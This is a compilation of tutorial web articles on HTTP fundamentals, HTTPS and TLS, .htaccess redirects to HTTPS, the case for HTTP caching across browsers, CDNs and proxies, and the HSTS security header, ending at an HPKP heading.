The URL (Uniform Resource Locator) is probably the most known concept of the Web. It is also one of most important and useful concepts. A URL is a web address used to identify resources on the Web.

The idea of the web is structured around resources. From its beginnings the Web was the platform for sharing text/HTML files, documents, images etc, and as such it can be considered a collection of resources.

Example of an URL

Protocol — Most often they are HTTP (or HTTPS for a secure version of HTTP).

Other notable protocols are:

• File Transfer Protocol (FTP) — is a standard protocol used for transferring files between a client and a server over a network.
• Simple Mail Transfer Protocol (SMTP) is a standard for email transmission.

Domain — Name that is used to identify one or more IP addresses where the resource is located.

Path —Specifies the resource location on the server. It uses the same logic as a resource location used on the device where you are reading this article (i.e. /search/cars/VWBeetle.pdf or C:/my cars/VWBeetle.pdf).

Parameters — Additional data used to identify or filter the resource on the server.

Note: When searching for articles and more information about HTTP, you may encounter the term URI (or uniform resource identifier). URI is sometimes being used instead of URL but mostly in formal specifications and by people who want to show off. :)

HTTP Requests

In HTTP, every request must have an URL address. Additionally, the request needs a method. The four main HTTP methods are:

• GET
• PUT
• POST
• DELETE

I will explain these methods, and more, in the HTTP Methods section of this article.

And these methods directly correspond to actions:

• read
• update
• create
• delete

All HTTP messages have one or more headers, followed by an optional message body. The body contains the data that will be sent with the request or the data received with the response.

The first part of every HTTP request holds three items:

Example:

• GET /adds/search-result?item=vw+beetle HTTP/1.1

When a URL contains a “?” sign, it means it contains a query. That means it sends parameters of the requested resource.

1. The first part is a method which tells which HTTP method is used. Most commonly used is the GET method. GET method retrieves a resource from the web server and since GET doesn’t have a message body nothing after the header is needed.
2. The second part is a requested URL.
3. The third part is a HTTP version being used. Version 1.1. is the most common version for most browsers, however, version 2.0 is taking over.

There are also some other interesting things in an HTTP request:

Referer header — tells the URL from where the request has originated.

User-Agent header — additional information about the browser being used to generate the request.

Host header — uniquely identifies a host name; it is necessary when multiple web pages are hosted on the same server.

Cookie header — submits additional parameters to the client.

HTTP Responses

Just like in HTTP requests, HTTP responses also consist of three items:

Example:

HTTP/1.1 200 OK

1. The first part is the HTTP version being used.
2. The second part is the numeric code of the result for the request.
3. The third part is a textual description of the second part.

There are some other interesting things in an HTTP response:

Server header — information about which web server software is being used.

Set-Cookie header — issues the cookie to the browser.

Message body — it is common for an HTTP response to hold a message body.

Content-Length header — tells the size of the message body in bytes.

HTTP Methods

The most common methods are GET and POST. But there are a few others, too.

GET —  You use this method to request data from a specified resource where data is not modified it in any way. GET requests do not change the state of resource.

POST — You use this method to send data to a server to create a resource.

PUT — You use this method to update the existing resource on a server by using the content in the body of the request. Think of this as a way to "edit" something.

HEAD —  You use this method the same way you use GET, but with the distinction that the return of a HEAD method should not contain body in the response. But the return will contain same headers as if GET was used. You use the HEAD method to check whether the resource is present prior of making a GET request.

TRACE — You use this method for diagnostic purposes. The response will contain in its body the exact content of the request message.

OPTIONS — You use this method to describe the communication options (HTTP methods) that are available for the target resource.

PATCH —  You use this method to apply partial modifications to a resource.

DELETE —You use this method to delete the specified resource.

REST

Representational state transfer (REST) is an architecture style where requests and responses contain representations of the current state of the systems resource.

“Regular” way:

• http://carapp.com/search?make=wv&model=beetle

REST-style:

• http://carapp.com/search/vw/beetle

You can learn more about REST here if you're curious.

HTTP Headers

There are three main components that make up the request/response structure. These include:

• First line
• Headers
• Body/Content

We already talked about the first line in HTTP requests and responses, and body function was mentioned too. Now we'll talk about HTTP headers.

The HTTP headers are added after the first line and are defined as name:value pairs separated by a colon. HTTP headers are used to send additional parameters along with the request or response.

As I already said, the body of the message includes the data to be sent with the request or the data received along with the response.

There are different types of headers that are grouped based on their usage into 4 broad categories:

• General header — Headers that can be used in both requests and response messages and that are independent of the data being exchanged.
• Request header — These headers define parameters for the data requested or parameters that give important information about the client making the request.
• Response header — These headers contain information about the incoming response.
• Entity header — The entity headers describe the content that makes up the body of the message.

Types of headers

HTTP status codes

Browsing the web, you may have encountered "404 error: not found" pages or "500 errors: server is not responding" pages.

These are HTTP status codes.

Every HTTP response message must contain an HTTP status code in its first line, telling us the result of the request.

There are five groups of status codes which are grouped by the first digit:

• 1xx — Informational.
• 2xx — The request was successful.
• 3xx — The client is redirected to a different resource.
• 4xx — The request contains an error of some kind.
• 5xx — The server encountered an error fulfilling the request.

Here's a full list of HTTP Status Response Codes and their explanation.

HTTPS (Hypertext Transfer Protocol Secure)

The secure version of HTTP protocol is HyperText Transfer Protocol Secure (HTTPS). HTTPS provides encrypted communication between a browser (client) and the website (server).

In HTTPS, the communication protocol is encrypted using Transport Layer Security (TLS) or Secure Sockets Layer (SSL).

The protocol is therefore also often called HTTP over TLS, or HTTP over SSL.

Both the TLS and SSL protocols use an asymmetric encryption system. Asymmetric encryption systems use a public key (encryption key) and a private key (decryption keys) to encrypt a message.

Anyone can use the public key to encrypt a message. However, private keys are secret, and that means that only the intended receiver can decrypt the message.

Example of asymmetric encryption system

SSL/TLS handshake

When you request a HTTPS connection to a website, the website sends its SSL certificate to your browser. That process where your browser and website initiate communication is called the “SSL/TLS handshake.”

The SSL/TLS handshake involves a series of steps where browser and website validate each other and start communication through the SSL/TLS tunnel.

As you probably noticed, when a trusted secure tunnel is used during in a HTTPS connection, the green padlock icon is displayed in the browsers address bar.

Example of one of my secure pages

Benefits of HTTPS

The major benefits of a HTTPS are:

• Customer information, like credit card numbers and other sensitive information, is encrypted and cannot be intercepted.
• Visitors can verify you are a registered business and that you own the domain.
• Customers know they are not suppose to visit sites without HTTPS, and therefore, they are more likely to trust and complete purchases from sites that use HTTPS.

Thank you for reading! Check out more articles like this on my freeCodeCamp profile. And check out other fun stuff I build on my GitHub page.

Security has a lot of acronyms. What do they mean? Let’s break them down into manageable bits.

First, HTTPS is actually HTTP running with TLS or SSL over it. First, we’ll cover HTTP, then TLS and SSL.

What is HTTP?

HTTP is what web browsers use to connect to web pages, images, etc. It is a connectionless text-based protocol. The connectionless part means that every time the web browser needs to load a new element, a new connection needs to be made (instead of keeping the connection open all the time — as most protocols do.) A protocol is just a set of computer rules that govern how devices connect across the internet.

When you type a URL into a browser, the computer will retrieve the IP address (this is DNS). Then, the browser connects to the server and sends an HTTP request to the web page. The web server checks for the page and loads it. Then, the browser receives the page and closes the connection. The browser then looks through the page for other parts it needs to load (such as images, applets, etc.). For each new part it needs to load, the browser will make and close another connection. Finally, the page is completely loaded.

The problem with HTTP is that it transmits information over cleartext — which means that anyone who has the technical skills to watch the traffic can see everything that is being transmitted (including usernames and passwords). HTTPS offers encryption and authentication.

Encryption is designed to hide the contents of a message from anyone other than the intended recipient of the message. The idea is to transform the data so that only a certain person, or group of people, can transform the data back into a recognizable message.

Authentication verifies identity. It is used to verify that the server that is supposed to send the message is actually the server which sent the message.

What is SSL/TLS?

First, essentially SSL and TLS do the same thing. But TLS is a newer version of the same protocol, with stronger encryption and authentication protocols.

Basically, TLS uses asymmetric encryption to set up a link between the two servers using private/public keys. Asymmetric encryption is like a lock and key, where one person has the ‘lock’ which encrypts the data, and a second person has the ‘key’ which decrypts the data. Public and private keys are like a lock and key set where one locks up (encrypts) the data, and one unlocks (decrypts) the data.

After the session is initiated, the servers can securely compute a shared secret and begin communicating using symmetric encryption (as it is MUCH faster, and can transmit larger packets of data). Symmetric encryption doesn’t have a lock/key pair. Instead it’s like talking to someone in a secure location (shared secret). If the location is secure (i.e. you are the only two who know where you are/know the shared secret), you don’t have to worry about guarding specific pieces of information with a lock and key.

How does SSL/TLS work?

SSL/TLS works via a protocol referred to as the SSL/TLS Handshake. It works like this:

The handshake uses asymmetric encryption to set up the process and agree on a shared secret. Then the handshake switches to the faster symmetric encryption. The ‘accepted ciphers’ part just helps the servers agree on a common protocol to use.

via GIPHY

HTTPS is important because it protects the integrity of website's traffic. That allows a website to protect their users from intentionally malicious attackers who are interested in installing malware or stealing user data, as well as 3rd parties like ISPs who might be interested in injecting ads or pulling data.

HTTPS ensures that users have privacy, and it's becoming ubiquitous, in large part due to Google's push for HTTPS. That's why on websites with HTTPS, when you're using a Chrome browser, you'll see a 'lock' symbol (see below).

Websites which don't have HTTPS will pop up with a bright red 'not secure' warning. In addition, many new features aren't enabled without HTTPS (particularly for progressive web apps). Given how key HTTPS is to the security of the web, it's important for anyone working in security to understand why and how it works. In order to secure systems, you need to understand them.

What is SSL?

SSL (Secure Sockets Layer) is a standard security protocol for establishing encrypted links between a web server and a browser in an online communication.

The usage of SSL technology ensures that all data transmitted between the web server and browser remains encrypted.

An SSL certificate is necessary to create SSL connection. You would need to give all details about the identity of your website and your company as and when you choose to activate SSL on your web server. Following this, two cryptographic keys are created — a Private Key and a Public Key.

Learn More: Why SSL is Critical?

In order to force your web traffic to use HTTPS, edit the codes in the .htaccess file.

Before we move onto redirecting HTTP to HTTPS, here’s how you can edit .htaccess file. If you already know skip to Redirection steps.

Editing .htaccess File

There are instructions/directives in the .htaccess file that tell the server how to act in certain scenarios and directly affects how your website functions. Common directives in .htaccess file:

• Redirects

• Rewriting URLs

Ways to edit an .htaccess file:

1. Edit the file on your computer and upload it to the server using FTP.

2. Use “Edit” mode in FTP program that allows you to edit a file remotely.

3. Use a text editor and SSH to edit the file.

4. Use the File Manager in cPanel to edit the file.

Editing .htaccess in cPanel File Manager

Note: Backup your website in case something goes wrong.

1. Login to cPanel

2. Files > File Manager > Document Root for:

3. Now select the domain name you want to access

4. Check “Show Hidden Files (dotfiles)”

5. Click “Go”

6. After a new tab or window opens, look for the .htaccess file.

7. Right click on the .htaccess file and click on “Code Edit” on the menu.

8. A dialogue box may pop up asking about encoding. Click “Edit” button to continue.

9. Edit the file

10. “Save Changes” when done.

11. Test your website to make sure it is done correctly. In case, there is an error, restore to the previous version and try again.

12. Once you are done, click “Close” to close the window.

Redirecting HTTP to HTTPS

1. Redirect All Web Traffic

If you have existing code in your .htaccess, add the following:

RewriteEngine On
RewriteCond %{SERVER_PORT} 80
RewriteRule ^(.*)$ https://www.yourdomain.com/$1 [R,L]

2. Redirect Only a Specific Domain

For redirecting a specific domain to use HTTPS, add the following:

RewriteEngine On
RewriteCond %{HTTP_HOST} ^yourdomain\.com [NC]
RewriteCond %{SERVER_PORT} 80
RewriteRule ^(.*)$ https://www.yourdomain.com/$1 [R,L]

3. Redirect Only a Specific Folder

Redirecting to HTTPS on a specific folder, add the following:

RewriteEngine On
RewriteCond %{SERVER_PORT} 80
RewriteCond %{REQUEST_URI} folder
RewriteRule ^(.*)$ https://www.yourdomain.com/folder/$1 [R,L]

Note: Replace “yourdomain” with your actual domain name wherever required. Also, in case of the folder, replace /folder with the actual folder name.

Think it was helpful? Share this article to help others come on HTTPS.

About 2 years ago, I remember witnessing a reunion that had a profound impact on my software developer life.

The client, a former developer with decades of experience, a tech savvy product owner and another senior developer were talking about a caching problem. The API was answering stales video fragments that caused clients to view the wrong content.

It was bad. Really bad.

Although nobody knew what to do to fix the problem, they all seemed to agree on one thing. The problem was most likely a caching problem.

I didn’t know a thing about HTTP caching back then, so all I could do was listen to them arguing about what could have possibly gone wrong. And all of them had a different explanation.

“Browsers deviate from the specs !” the client said. “The CDN override our caching directives!” the tech product owner thought. “We need to invalidate the whole cache” the tech lead replied.

Since I wanted to be helpful too, even though I wasn’t exactly sure how, given my level of understanding, I started asking questions to my fellow coworkers.

I remember very well the level of confidence everyone seemed to have when answering my questions. Everyone acted like they knew what HTTP caching was all about. But at the same time, all their answers felt really vague and shallow. It was really like everybody had this high level of understanding of how things worked, but nobody wanted to get into the details.

Eventually, the problem magically fixed itself and the team was pretty satisfied with how things worked out.

But I was not.

I thought to myself, what just happened these past few days? Why is it that nobody was willing to admit that they don’t have a clue on how this whole caching thing works? Is it the curse of the software developer to always be tempted to pretend that we know more about a subject than we actually do?

So I decided to check it out for myself. And I somewhat understood why everybody was pretending. The subject was by no means easy. But I was determined to go to the bottom of this.

And that’s how what was supposed to be a few hours of Googling turned out to be months of reading articles, meditating on the specs, and experimenting with caching softwares.

Fast forward today, I now realize that web performance (of which HTTP caching is one of the most important aspects) is a topic on which we are not trained enough. Too few articles talk about it, and most of them don’t go deep enough.

The following articles are my attempt to rectify that by sharing everything I have learned during the past two years about HTTP caching.

I’m not a caching expert, and I won’t turn you into one. But it will hopefully give you a strong understanding of how things actually work.

Let’s Get Started

This series of articles deals with caching in the context of HTTP. When properly done, caching can increase the performance of your application by an order of magnitude.

On the contrary, when overlooked or completely ignored, it can lead to some really unwanted side effects caused by misbehaving proxy servers that, in the absence of clear caching instructions, decide to cache anyway and serve stale resources.

Before we get to the tactical details of how caching works, it helps to understand the context and the landscape of the problem we are up against. For this reason, the first part of this series covers where caching should happen and why we need it.

Without further ado, let us start with an overview of key considerations to keep in mind when dealing with HTTP caching, and to a lesser extent, with web performance in general.

Caching everywhere

Browsers

Caching is a very popular technique. The idea is indeed pretty appealing: no matter how long the I/O request, how CPU-intensive the computation, or any other programming task, it is always the same: storing the result somewhere and retrieving it as it is, for its further application.

Taking the example of browser’s HTTP cache that all browsers implement, web resources are stored on the user’s filesystem. Hence further requests that will access these same resources will have them delivered instantly.

No network request, no client/server round-trips, no database access, and so on. Can you think of any performance enhancement that would yield better results than no latency at all and complete server offloading? That’s simply not possible.

One might think that this situation is too ideal and impractical. If it were true, how come most pages don’t load that fast? One reason for this is because, even though all web resources are cacheable, they should not be cached the same way.

HTML files for example, which are the first to be downloaded and that contain references to other assets, are notoriously dangerous to cache. Therefore, they’re unlikely to find their way to browser caches except for a few minutes at most, as we shall see in a moment.

But another possible explanation, one that we find more likely based on our experience, is that caching policies are often completely left out for web servers to decide.

Setting a flag on a web server’s configuration file to automatically activate ETag generation and Last-Modified headers is not time-consuming and can give decent results.

For some time at least. Until one realizes that the feature doesn’t work as expected or even worse, that users are starting to be served stale content due to unknown reasons.

Besides, these web servers won’t do much good in terms of caching your API. Most of them generate cache headers based on files metadata, which can have subtle consequences. But with API requests, there is no file to read metadata from. Hence when they see a resource that is dynamically generated, all they can do is watch and forward the request.

Granted, as efficient as it can be, caching in the browser is not as easy it as looks. Major browsers implement different layers of cache, of which the HTTP one we’re talking about is only a piece. And in case you’re wondering, they can interact in some ways that are not always as predictable as we would like them to be.

Besides, caching in the browser is notoriously dangerous, because developers lack the ability to invalidate resources at will. Doing so would involve allowing a web server to push information to every client that interacted with it, without clients initiating a connection, which is not possible in a client/server architecture.

Furthermore, from the cacher’s point of view, as powerful as it is, the browser has other flaws. It uses some doubtful heuristics when no caching instructions are explicitly present, all the more reason for us to help it know exactly what to do.

But even if we were to do it, users have the ability to flush their cache anyway or disable it. Not the almighty caching tool that one could ask for Christmas, after all.

So let us take the browser out of the equation for now and ask ourselves: without it, is HTTP caching still relevant? Is it implemented at other places? As it turns out, the browser is just one piece of the caching chain. And if browsers were all of a sudden to stop caching everything, rest assured: CDNs got us covered.

CDN

Content Delivery Networks (CDN) are the unified champions of the HTTP caching world. Most of them have installed tons of servers — Akamai has ~240 000 — all geographically around the globe in order to serve our content closely to our end users.

These companies have accumulated decades of experience on web performance. Most of the people who write the specs or the software that power the specs usually work in these companies, which is a bit of an indication that they know what they’re doing. Let us take a quick tour of why they are so important and how they work.

First and foremost, is it crucial to understand that all of these servers are HTTP servers. In HTTP terminology, they are proxy servers which means that they speak HTTP. They do not encapsulate our requests into another shady proprietary application protocol. They just use these proxies, most of which are even free or open source!

As a direct consequence, any knowledge of HTTP caching is immediately actionable to leverage the infrastructure they put at our disposal. In addition to billions of browsers, we now have thousands of servers strategically placed by specialized companies waiting for us to instruct them how to cache our content for maximum efficiency. Furthermore, depending on what your priorities are, that’s not even the best feature.

Most modern CDNs advertise the ability to programmatically purge resources out of the CDN’s network instantly. Let us say this again: programmatically and instantly.

As far as HTTP caching is concerned, the two hard problems in computer sciences might just have been reduced down to one! Caching anything and invalidating instantly whenever we want. From a developer keen on web performance point of view, it can hardly get any better.

A word of caution: CDNs are not to be blindly trusted based on that. We’ve already experienced some slight differences between what was marketed on the brochure, and what we had in production, where other cache busting techniques had to be used to ensure the cache was actually cleared.

Before starting to cache all of your resources forever carelessly, experimenting on a small sample first might be a good idea. However, if it’s not here today, it will eventually land consistently everywhere, making our lives much easier.

Another aspect to keep in mind is that it is in every CDN’s best interest that developers see them as effective and powerful tools. As a consequence, they’ll often do their best to comply to the specification.

Also, they all provide some web interface that makes it a breeze to give caching rules that will either override or play nice with upstreaming caching directives coming from origin servers. The ability to configure your caching policy outside of your codebase happens to have two interesting consequences.

First, it means that people other than developers can have control on this which can be seen as a strength or a weakness based on your perspective. The ability to have someone other than a software developer fine-grain caching settings at the CDN’s level on critical occasions might come in handy in some situations.

But perhaps even more importantly, it means that the performance part of your application, or at least a large part of it, can be completely factored out at the infrastructure level.

All developers that have experienced performance problems at some point know this: it is rarely something you can mutualize in a single file called performance and is often best planned ahead, just like detailed application-level logging. But that’s not necessarily the case with caching.

Provided your caching headers are smartly set and your CDN well configured, you could write poorly optimized server code (although, please don’t) and still have the vast majority of your users be served content in less than 300 milliseconds, by reusing cached versions that are still perfectly fresh.

On the flip side, as one might expect, setting up and maintaining such a network of servers is both expensive and complex. As a result, although some of them have free plans that already allow for some serious performance boost in rather wide geographic areas, they remain paid solutions. If your intention is to cache millions of resources, be prepared to pay several thousand of dollars. This is where private proxy caches come into play.

Private proxy

The third and last player of the HTTP caching game is simply the same softwares many of the CDNs we just talked about are made of. Do the names Varnish, Squid, Traffic Server, or even Nginx ring a bell? Well, they certainly should!

Given what we just said about the unmatched performance of web browser caches, and the case we just argued in favor of CDNs, one might legitimately asks: why bother setting up these in front of my origin servers when CDNs can do much more, and browsers are closer to my end users?

Well, this third and last solution in the HTTP caching landscape also comes with its fair share of advantages. As a matter of fact, we’ll argue that this should often be the first solution to look for. Let us examine a few bonus points of the most popular solutions.

First, these solution are free and open source, which can be seen as a double edge sword. How many of such software that were once praised by the community suddenly stopped being maintained by their core committers due to a lack of interest, sponsoring, or both? The fear of seeing a project’s main dependency (web framework, ui library…) going to the software graveyard is a real concern.

Although when assessing this risk, one must always consider the maturity of the technology, how long it’s been around, which big company is using or supporting it — they usually do both — and how effective it is at solving a particular problem. Lucky for us, the proxies we’re talking about score pretty high on all levels.

Another aspect simply comes from the performance gain. As mentioned previously, these softwares are what CDNs are made of. This has two consequences.

First, it massively decreases the chance of termination of their usage, because CDNs whole infrastructure relies on it. This kind of stability is greater than when a company is just using a library as part of a larger system. In this case, the software is the system.

Second, any hard gained knowledge about their installation, configuration and maintenance will directly be transferable the day you decide to switch or complement your caching infrastructure with a CDN, since they are the same servers! In the software development world, where everything changes so fast, this is always good news.

It’s the same reason why learning HTTP caching is a good bet, because it’s relevant in many different places. And will likely stay that way for decades, we shall see why in the end of this article.

Browsers, edge servers, proxy servers… that’s a lot of caching intermediaries. Thinking about all these caches at the same time can be a little overwhelming and hard to picture. Luckily for us as we mentioned previously, all these caches speak HTTP and comply to the same specification.

As proxy servers, they all act transparently both for clients and for servers. Origin servers communicate with the proxy as if it were the client, and end users browsers communicate with the proxy as if it were the server. This holds true even between proxy servers.

As such, we can model the reality by considering that all caching infrastructures are equivalent to one with a single caching proxy in place.

This is best described by the following picture:

We’ll use this simplification in the rest of this series of articles. This abstraction is helpful to visualize the mechanisms at play, but it comes with certain limitations. Putting two proxies one after the other can have subtle consequences.

So far, we have covered a lot of ground without giving away anything about the detailed interactions between a client and a caching server. HTTP caching is a complex subject. Before moving on to the real technicalities in part 2, there is one last important aspect that needs to be explored.

Caching for the future

Have you ever had to wait a few seconds to interact with a web page, or to see anything meaningful on the screen? Probably. That’s actually not unlikely at all. Everyone has experienced the slow internet at some point in their life, even at home with fiber connectivity.

Past UX research actually has got some scary metrics about this. Metrics that have been the same for more than 40 years, by the way, making them unlikely to change anytime soon. Their guidelines are expressed in terms of hundreds of milliseconds, whereas we are used to browse the Internet and wait several seconds.

So why do we believe that HTTP caching is relevant today and will almost certainly remain so for the years to come?

It all comes down to this basic question: why is the web so slow?

This question is undoubtedly a difficult one, and a rigorous examination would take us far too deep and lose our primary focus, which is HTTP caching. However, if we don’t have any idea on what makes a web page slow, how can we be sure that caching, despite all of its virtues, is the right tool for the job?

From its conception, the web has certainly changed a lot. The days where web pages consisted of simple HTML files containing mostly text and hyperlinks are long gone.

These days, many websites are labeled as web applications, as their look and feel resembles that of desktop apps. But despite all the improvements and innovations that have been made over the years, one thing has always remained the same: it’s always begun with the downloading of an HTML file.

As it gradually downloads the HTML, the browser discovers all the other resources that combined will result in all the client’s side code that gets parsed and ultimately, executed.

In case of a typical SPA for instance, the flow of requests goes on. Upon execution, the application starts downloading data from the server, typically serialized as JSON these days, in order to render the UI. Each URL inside the JSON payload will, once referenced into the code (it doesn’t even have to be added to the DOM), triggers another download so that it can be displayed on the screen.

This model of execution, where all the bytes needed for the application to do its job are scattered among different places and must be downloaded every time is quite remarkable. Arguably, it’s what makes the web so unique in the software development world.

But there is a catch.

Indeed as of today, the typical web application requires 75 requests and weighs 1.5 Mb, meaning that browsers must initiate a lot of requests of ~20kB each. To put it another way, it means that a typical web application is made of lots of short-lived connections.

And here is the catch: this is the exact opposite of what TCP is optimized for.

The anatomy of a web request

In theory, all of these 75 requests should go through these steps:

• DNS resolution

• TCP handshake

• SSL handshake

• Data downloading constrained by TCP flow and congestion control

Let us walk through each of them and draw a counter-intuitive consequence from it.

DNS resolution is the process of converting a human readable hostname such as example.com into an IP address. Although the DNS protocol is based on UDP instead of TCP, the journey to getting a hostname IP address can be really long, involving multiple DNS servers. And it’s not uncommon that these DNS resolutions take between 50 to 250 milliseconds.

Then, each request must initiate a TCP connection. HTTP has always needed a reliable transport protocol to work. If the ASCII bytes representing every HTTP request were to be delivered out of order, a status line such as

GET /home.html HTTP/1.1

would become:

GTE /mohe.hmtl HTTP/1.1

and the request wouldn’t make much sense.

In order to guarantee delivery order, TCP marks each byte of applications data with a unique identifier called a sequence number (SYN). The problem is that this number must be chosen randomly for security reasons.

Therefore, if a client is asking for a resource, it cannot do so without signaling to the server its initial sequence number (ISN). Then it must wait before the server acknowledges good reception of this segment, before being able to send application data.

Well, unless the request is secure, which it probably is since 80% of HTTP requests these days are actually secure HTTPS requests. These are normal HTTP requests, except that they are encrypted in order to guarantee (at least, up to this day) confidentiality, integrity, and authenticity.

To accomplish that, the client and servers must now agree on a TLS protocol version, select cryptographic functions, authenticate each other by exchanging and validating x509 certificates… for no less than ~10 protocol messages that can be packed into a minimum of 2 TCP exchanges, and as many round trips.

Once the connection is setup and secure, then TCP can finally start sending segments carrying our application data, such as our HTTP request. Unfortunately for us, TCP prevents us from sending all our data at once in one batch of multiple segments.

This restriction is a necessary evil, so that we don’t accidentally cause a buffer overflow on the receiver. When an application that initiated a connection asks the underlying TCP socket for data, TCP will refuse to give any chunk that would be incomplete or made of unordered smaller chunks. Hence, the need for a buffer.

The way it works is that TCP sends N segments in the first batch, and, if all segments were received by the server, will send twice as many segments (2N) in the next batch, and so on, leading to an exponential growth. This mechanism is commonly known as the slow-start algorithm and is one of the two only possible modes in which TCP operates, along with congestion avoidance.

We won’t discuss congestion avoidance in this series. But if there was only one thing to be aware of, it would be that once TCP senses that the underlying network may be congested, the protocol starts acting much more conservatively. Thereby extending even more the time required to transmit data.

The consequence

With all these steps in mind, let us make a simple calculation to realize something important. At the beginnings of the web, the N parameter (known as the congestion window in TCP’s terms) was equal to 1. With such a window and an average resource of 20kB, we can determine how many round trips are necessary for an average request to be fully transmitted.

Indeed, under normal circumstances, the maximum segment size (MSS) is 1460 bytes. That’s equivalent to 20 000 / 1460 = 14 TCP segments. When dispatched according to the exponential scheme we just described, this is equivalent to 4 round-trips to the server.

Now, if we approximate a UDP-based DNS request to a TCP-based request to the origin servers, we can estimate a total number of round-trips (RT) that require the booting of a modern web application:

• DNS request: ~1 RT

• TCP connexion setup: 1 RT

• SSL handshake: 2 RT

• Resource downloading: 4 RTT

• Total: 8 RT

75 requests that all require 8 round-trips each result in a total of 600 rounds trips to the server. A typical RTT between Europe and the US is 50ms, which gives us the amount of time that information spend flowing on the Internet when we request a typical web application: 30 seconds. And it could get worse.

The Amazon homepage for instance, a typical MPA, currently weighs 6.3Mb and requires 339 requests. That would translate into a salient page loading time of 2 minutes and 15 seconds. As an exercise, try do the same for the Facebook Messenger homepage, a typical SPA.

How to interpret this number? This would be the actual page load if every single resource had to be downloaded sequentially, TCP initial congestion was down to its minimum value of 1, and if DNS requests, TCP and SSL handshakes had to be done all over again every time. The web would be a much different place for sure.

Fortunately, many improvements have been made over the years. DNS resolutions are cached at different places, TLS handshakes results are reused.

TCP connections were allowed to be persisted between multiple requests, avoiding the cost of both connection setup and slow-start on each request.

TCP’s initial congestion window was lifted up twice, from 1 to 4 and more recently, to 10. Browsers started to open up parallel connections (6) as well as some really advanced strategies to accelerate page load times.

Some proposals tried to break free from the connection setup, although none of them are widely implemented.

Some CDNs even acquired patented algorithms to tune some of TCP aspects such as congestion avoidance, always for the same reason: speed up delivery.

What consequence can we draw from all these round-trips between browser and origin servers?

That bandwidth stopped being the bottleneck many years ago.

This is somewhat counter-intuitive to most of us, because bandwidth has embodied the browsing speed for years. After all, it has exactly the dimension of a speed, bits by unit of time, and it is the only thing ISPs advertise when trying to lure us into becoming their customers.

Besides, browsing on 3G is clearly slower than on 4G. But that is because the threshold at which bandwidth stops being the bottleneck is 5 Mb/s, and 3G maxes out at 2 Mb/s in ideal conditions!

And if wireless technologies such as Wi-Fi or 5G are indeed slower than their wired counterpart of some sort, it is also because in wireless systems, packet drops caused by interferences are commonplace thereby making latency much higher and volatile.

The latest version of the HTTP protocol, HTTP/2, codenamed H2, was a continuation of the SPDY protocol which itself was initially designed following this very observation: bandwidth doesn’t matter much anymore. Latency does. But latency is fundamentally a function of two things: the speed of light in optic fiber, and the distance between clients and servers.

Active research to increase the speed of light in optic fiber has already been conducted, but it only got us so far. In most deployments, light already travels at 60% of its maximum theoretical limit.

But even if we were to reach 99%, that would only have a significant impact on your website if it’s already loading in a few seconds at most. If it’s loading in more than 5 seconds, even though the performance increase would be noticeable, it would still feel slow.

Therefore we are left with one obvious choice: reducing the distance.

And the only way to accomplish that is by leveraging browsers and content delivery networks with HTTP caching.

Conclusion

Along this article, we have argued that HTTP caching is one if not the most effective way to improve the performance of your web application. And as many studies keep pointing out, page load time is an important subject that can be directly translated into user satisfaction and, ultimately, profitability.

We have seen that caching can happen pretty much everywhere, from the browser, to CDN, to private proxy servers sitting just in front of your origin servers. But also that, unlike many performance decisions, it can be completely externalized outside the main codebase, which is both valuable and convenient.

Finally, we took a closer look at the anatomy of a modern web application, to understand why latency is the new bottleneck, making caching relevant today and for years to come, even with the steady deployment of H2.

In the next article of this series, we will deep dive into the How.

In a way, this first part was merely a warm-up! We’ll learn how all of this actually works: resource freshness, revalidation, representations, cache-control headers… and much more!

Stay tuned!

To go further:

Ilya Grigorik High Performance Browser Applications (a must read):
https://hpbn.co/

Mike Belshe paper that served as a basis for the SPDY protocol: https://docs.google.com/a/chromium.org/viewer?a=v&pid=sites&srcid=Y2hyb21pdW0ub3JnfGRldnxneDoxMzcyOWI1N2I4YzI3NzE2

Active CDN blogs with tons of great articles:
https://www.fastly.com/blog
https://blogs.akamai.com/web-performance/

This is part 3 of a series on web security: part 2 was “Web Security: an introduction to HTTP”

As we’ve seen in the previous parts of this series, servers can send HTTP headers to provide the client additional metadata around the response, besides sending the content that the client requested. Clients are then allowed to specify how a particular resource should be read, cached or secured.

There’s currently a very large spectrum of security-related headers that have been implemented by browsers in order to make it harder for attackers to take advantage of vulnerabilities. The next paragraphs try to summarize each and every one of them by explaining how they’re used, what kind of attacks they prevent, and a bit of history behind each header.

HTTP Strict Transport Security (HSTS)

Since late 2012, HTTPS-everywhere believers have found it easier to force a client to always use the secure version of the HTTP protocol, thanks to HTTP Strict Transport Security: a very simple Strict-Transport-Security: max-age=3600 will tell the browser that for the next hour (3600 seconds) it should not interact with the application with insecure protocols.

When a user tries to access an application secured by HSTS through HTTP, the browser will simply refuse to go ahead, automatically converting http:// URLs to [https://](https://.).

You can test this locally with the code at github.com/odino/wasec/tree/master/hsts. You will need to follow the instructions in the README (they involve installing a trusted SSL certificate for localhost on your machine, through the amazing mkcert tool) and then try opening https://localhost:7889.

There are 2 servers in this example, an HTTPS one listening on 7889, and an HTTP one on port 7888. When you access the HTTPS server, it will always try to redirect you to the HTTP version, which will work since there is no HSTS policy on the HTTPS server. If you instead add the hsts=on parameter in your URL, the browser will forcefully convert the link in the redirect to its https:// version. Since the server at 7888 is http-only, you will end up staring at a page that looks more or less like this. ?

You might be wondering what happens the first time a user visits your website, as there is no HSTS policy defined beforehand: attackers could potentially trick the user to the http:// version of your website and perpetrate their attack there, so there’s still room for problems. That’s a valid concern, as HSTS is a trust on first use mechanism. What it tries to do is to make sure that, once you’ve visited a website, the browser knows that subsequent interaction must use HTTPS.

A way around this shortcoming would be to maintain a huge database of websites that enforce HSTS, something that Chrome does through hstspreload.org. You must first set your policy, then visit the website and check whether it’s eligible to be added to the database. For example, we can see Facebook made the list.

By submitting your website to this list, you can tell browsers in advance that your site uses HSTS, so that even the first interaction between clients and your server will be over a secure channel. But this comes at a cost, as you really need to commit to HSTS. If, by any chance, you’d like your website to be removed from the list that’s no easy task for browser vendors:

Be aware that inclusion in the preload list cannot easily be undone.

Domains can be removed, but it takes months for a change to reach users with a Chrome update and we cannot make guarantees about other browsers. Don’t request inclusion unless you’re sure that you can support HTTPS for your entire site and all its subdomains for the long term.

Source: https://hstspreload.org/

This happens because the vendor cannot guarantee that all users will be on the latest version of their browser, with your site removed from the list. Think carefully, and make a decision based on your degree of confidence in HSTS and your ability to support it on the long run.

HTTP Public Key Pinning (HPKP)

